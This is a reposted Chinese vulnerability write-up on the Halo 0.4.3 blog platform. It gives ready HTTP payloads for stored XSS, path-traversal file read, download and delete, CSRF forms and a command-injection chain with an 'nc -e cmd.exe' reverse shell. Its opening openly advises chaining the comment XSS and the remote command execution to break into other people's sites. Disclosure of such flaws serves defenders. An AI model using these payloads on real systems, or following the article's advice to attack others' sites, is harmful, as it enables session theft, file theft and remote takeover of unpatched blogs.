Author : Ali0th
看到 Halo 0.4.3 Issue 上还挺多漏洞的，而且作者打算写新的版本，目前的版本大部分都还没修。这个漏洞还是有点多的，不过大部分都是后台漏洞。
这个是一个 Java SpringBoot 写的 Web 博客应用，相关部署和源码分析可以见我的其它文章。
如果要渗透别人的网站，可以先使用评论处存储型XSS，获取到管理员 session 后，再使用命令执行 后台远程命令执行 即可。
@[TOC]
后台记录IP存储型XSS
These is A stored xss vulnerability #126
是一个后台的存储型XSS，因为记录后台登录IP和X-Forwarded-For，然后展示导致的。
payload:
POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 35
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2
loginName=admin&loginPwd=adminadmin
复制代码
密码错误提示XSS（已修复）
密码错误时，返回了密码内容无过滤，这个是POST型XSS。
try {
User aUser = userService.findUser();
...
} catch (Exception e) {
Integer errorCount = userService.updateUserLoginError();
if (errorCount >= 5) {
userService.updateUserLoginEnable("false");
}
userService.updateUserLoginLast(new Date());
logsService.saveByLogs(new Logs(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + loginName + "," + loginPwd + "]", HaloUtil.getIpAddr(request), new Date()));
log.error("登录失败！：{0}", e.getMessage());
}
复制代码payload:
POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 77
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
loginName=admin&loginPwd=adminadmin<a href="javascript:alert(/xss/);">xss</a>
复制代码修复后：
//更新失败次数
final Integer errorCount = userService.updateUserLoginError();
//超过五次禁用账户
if (errorCount >= CommonParamsEnum.FIVE.getValue()) {
userService.updateUserLoginEnable(TrueFalseEnum.FALSE.getDesc());
}
logsService.save(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + HtmlUtil.escape(loginName) + "," + HtmlUtil.escape(loginPwd) + "]", request);
final Object[] args = {(5 - errorCount)};
return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.login.failed", args));
复制代码加入了HtmlUtil.escape()方法过滤。
评论处存储型XSS
评论处存储型XSS，可以提交到后台，让后台管理者受到XSS攻击。
文件位置：cc.ryanc.halo.web.controller.front.FrontCommentController
comment.setCommentAuthorEmail(HtmlUtil.escape(comment.getCommentAuthorEmail()).toLowerCase());
// code ...
comment.setCommentAuthor(HtmlUtil.escape(comment.getCommentAuthor()));
// code ...
//将评论内容的字符专为安全字符
comment.setCommentContent(OwoUtil.markToImg(HtmlUtil.escape(comment.getCommentContent()).replace("<br/>", "<br/>")));
}
if (StrUtil.isNotEmpty(comment.getCommentAuthorUrl())) {
comment.setCommentAuthorUrl(URLUtil.normalize(comment.getCommentAuthorUrl()));
}
复制代码可以看到，提交评论处对大部分参数值有使用HtmlUtil.escap进行过滤，但是对getCommentAuthorUrl没有过滤。
payload:
POST /newComment HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/archives/hello-halo
Content-Length: 241
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
postId=3&commentContent=ali0th+say+hi&commentAuthor=ali0th&commentAuthorEmail=ali0th%40test.com&commentAuthorUrl=www.ali0th.com"><img src=1 onerror=alert(123)>&commentAgent=Mozilla%2F5.0+(Windows+NT+6.3%3B+WOW64%3B+rv%3A27.0)+Gecko%2F20100101+Firefox%2F27.0&commentParent=0
复制代码
后台任意文件下载
将备份发送到邮箱处，使用拼接的方式加载文件，然后发到邮件，导致任意文件下载。
文件位置：cc.ryanc.halo.web.controller.admin.BackupController
System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code...
new EmailToAdmin(srcPath, user).start();
复制代码payload:
因为我在 win 环境，所以这里包含c:/windows/win.ini
GET /admin/backup/sendToEmail?type=../../../../../../&fileName=c:/windows/win.ini HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/admin/backup?type=resources
Cookie: JSESSIONID=OtSpPq_v8fXROoZ5mFT3DbjeIs07ud8kk6VyMh5U
Connection: keep-alive
复制代码后台远程命令执行
在线拉取主题功能，使用 git clone 接取主题。
文件位置：cc.ryanc.halo.web.controller.admin.ThemeController
final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName);
复制代码使用拼接的形式构造命令，并使用RuntimeUtil.execForStr执行。
我这是win下，所以使用下面命令
# 监听
nc -l -p 12345 -v
# 反弹命令
nc.exe -e cmd.exe 127.0.0.1 12345
复制代码后台任意文件删除
在删除备份文件处，使用拼接方式组装路径。
文件位置：cc.ryanc.halo.web.controller.admin.BackupController
final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code ...
FileUtil.del(srcPath);
复制代码后台添加标签处XSS与CSRF
添加标签处基本没有过滤。
文件位置：cc.ryanc.halo.web.controller.admin.TagController
final Tag tempTag = tagService.findByTagUrl(tag.getTagUrl());
// code ...
tag = tagService.create(tag);
复制代码没有太多的处理，对 tagName 则完全没有处理。
CSRF payload:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.halo.run/admin/tag/save" method="POST">
<input type="hidden" name="tagName" value="<script>alert(1)</script>" />
<input type="hidden" name="tagUrl" value="123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
复制代码XSS payload:
POST /admin/tag/save HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/tag
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
Pragma: no-cache
Cache-Control: no-cache
tagName=%3Cscript%3Ealert(1)%3C%2Fscript%3E&tagUrl=123
复制代码后台文章发表处CSRF
大部分位置均有 CSRF。这里就不分析了。
payload:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.halo.run/admin/posts/save" method="POST">
<input type="hidden" name="postStatus" value="0" />
<input type="hidden" name="postTitle" value="test" />
<input type="hidden" name="postUrl" value="1554359315872" />
<input type="hidden" name="postContentMd" value="test123" />
<input type="hidden" name="postThumbnail" value="/static/halo-frontend/images/thumbnail/thumbnail.png" />
<input type="hidden" name="cateList" value="" />
<input type="hidden" name="tagList" value="" />
<input type="hidden" name="allowComment" value="1" />
<input type="hidden" name="postPassword" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
复制代码后台主题编辑处存在任意文件读取
使用 append 方法拼接路径，没有对输入的参数值过滤，导致任意文件读取。
文件位置：cc.ryanc.halo.web.controller.admin.ThemeController
//获取项目根路径
final File basePath = new File(ResourceUtils.getURL("classpath:").getPath());
//获取主题路径
final StrBuilder themePath = new StrBuilder("templates/themes/");
themePath.append(BaseController.THEME);
themePath.append("/");
themePath.append(tplName);
final File themesPath = new File(basePath.getAbsolutePath(), themePath.toString());
final FileReader fileReader = new FileReader(themesPath);
tplContent = fileReader.readString();
复制代码payload:
GET /admin/themes/getTpl?tplName=../../../../../../../../etc/passwd HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/themes/editor
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
复制代码前台突破加密文章权限
只判断了是否有传入 cookie ，没有判断是密码是否正确。只要拦截包，然后修改 cookie 即可。
(这一个漏洞我没有复现成功，很奇怪，先搁置)
文件位置：cc.ryanc.halo.web.controller.front.FrontArchiveController
//判断文章是否有加密
if (StrUtil.isNotEmpty(post.getPostPassword())) {
Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId());
if (null == cookie) {
post.setPostSummary("该文章为加密文章");
post.setPostContent("<form id=\"postPasswordForm\" method=\"post\" action=\"/archives/verifyPostPassword\"><p>该文章为加密文章，输入正确的密码即可访问。</p><input type=\"hidden\" id=\"postId\" name=\"postId\" value=\"" + post.getPostId() + "\"> <input type=\"password\" id=\"postPassword\" name=\"postPassword\"> <input type=\"submit\" id=\"passwordSubmit\" value=\"提交\"></form>");
}
}
// code ...
// 验证密码成功添加cookie
if (SecureUtil.md5(postPassword).equals(post.getPostPassword())) {
ServletUtil.addCookie(response, "halo-post-password-" + post.getPostId(), SecureUtil.md5(postPassword));
}
复制代码payload:
HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Thu, 04 Apr 2019 15:02:04 GMT
Content-Length: 0
Connection: keep-alive
Location: 127.0.0.1:8090/archives/hello-halo
Content-Language: zh-CN
Set-Cookie: halo-post-password-3=fae0b27c451c728867a567e8c1bb4e746
Strict-Transport-Security: max-age=31536000
复制代码本文章为转载内容，我们尊重原作者对文章享有的著作权。如有内容错误或侵权问题，欢迎原作者联系我们进行内容更正或删除文章。
